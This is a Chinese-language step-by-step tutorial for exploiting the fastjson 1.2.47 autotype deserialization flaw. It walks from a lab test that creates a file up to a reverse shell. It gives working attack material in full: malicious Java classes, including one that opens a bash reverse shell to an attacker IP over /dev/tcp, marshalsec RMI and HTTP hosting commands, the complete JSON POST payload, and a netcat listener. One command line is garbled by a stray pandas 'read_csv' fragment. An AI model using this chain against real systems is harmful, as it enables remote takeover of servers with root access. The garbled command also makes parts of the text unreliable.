前言
fastjson:
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java
Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。它具有以下优点:1)速度快:fastjson相对其他JSON库的特点是快,从2011年fastjson发布1.1.x版本之后,其性能从未被其他Java实现的JSON库超越。
2)使用广泛:fastjson在阿里巴巴大规模使用,在数万台服务器上部署,fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。
3)测试完备:fastjson有非常多的testcase,在1.2.11版本中,testcase超过3321个。每次发布都会进行回归测试,保证质量稳定。
4)使用简单:fastjson的API十分简洁。
String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject(“{…}”, VO.class); //反序列化
5)功能完备
支持泛型,支持流处理超大文本,支持枚举,支持序列化和反序列化扩展。
漏洞影响版本
fastjson<=1.2.47
提示:以下是本篇文章正文内容,仅供参考
一、编辑恶意类
1.自备编辑环境
需提前构造好Java、python3.0及以上环境,在攻击环境的root目录下新建文档,命名为:TouchFile.java
写入以下代码
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e){
// do nothing
}
}
}
touch 命令用于创建空文件,也可以更改 Unix 和 Linux 系统上现有文件时间戳。更改时间戳意味着更新文件和目录的访问以及修改时间。
此处通过touch /tmp/success命令,在linux特有临时目录/tmp下创建空文件,由于通常该目录中不会存在该名称的文件,所以可以作为命令执行的验证命令。
在此目录下打开命令行,输入:
Javac TouchFile.java
对先前的文本进行编译
得到class文件
2.起http服务
在上一步所在文件目录下打开终端,输入
python3 -m http.server 12345
通过python在12345端口运行一个简单的本地 HTTP 服务器
(用VPS起HTTP服务,需在TouchFile.class文件的目录下)
3.启动RMI服务器
使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
(RMI服务器所需文件可在网站下载,需自备),在arshalsec-0.0.3-SNAPSHOT-all.jar工具目录下打开终端
输入命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.4:12345/#TouchFile" 9999
注意,该命令行须在marshalsec-0.0.3-SNAPSHOT-all.jar所在目录下执行
RMI作用:
RMI服务端可以通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并且在目录中保存,当客户端使用lookup获取对应名字的时候,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。
二、数据包攻击
1.打开bump
进入repeater模块
在右上角设置好我们要发送数据包的ip及端口
构造数据包如下:
POST / HTTP/1.1
Host: 192.168.0.2:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 209
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.4:9999/TouchFile",
"autoCommit":true
}
注:Host、Post内容根据实际靶机而定(别直接复制我的)
2.可以去靶机查看攻击是否成功
代码如下:
docker ps
docker exec -it [容器ID] /bin/bash
#容器id复制docker ps所给出的id即可,注意在/bin前有空格
cd /tmp/
ls
可看到在/tmp/路径下,已成功创建的success文件,说明漏洞利用成功:
三、反弹shell
1.编辑恶意类
新建空文件,命名为Exploit.java
代码如下(示例):
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.0.4/1234 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
在该文件下打开命令行,输入命令
javac Exploit.java
2.开启监听
关闭之前开启的命令文件,防止混乱
在当前文件目录下输入命令:
python3 -m http.server 12345
启动RMI服务器
使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,监听9999端口,并制定加载远程类 Exploit.class
在marshalsec-0.0.3-SNAPSHOT-all.jar目录打开终端
输入命令:
data = pd.read_csv(java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.4:12345/#Exploit" 9999
该处使用的url网络请求的数据。
kali开启监听打开终端,输入命令
nc -lvp 1234
nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。
这里的-lvp命令将持续监听本机的指定端口
3.开启bump开启数据包攻击
使用repeater模块发送数据包
内容构造如下:
POST / HTTP/1.1
Host: 192.168.0.2:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 209
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.4:9999/Exploit",
"autoCommit":true
}
设置内容与步骤二一致。
此时我们监听端口可得到反弹的shell,漏洞利用成功。
输入命令whoami
瞅一下权限,root
总结
astjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型。
Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。
在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。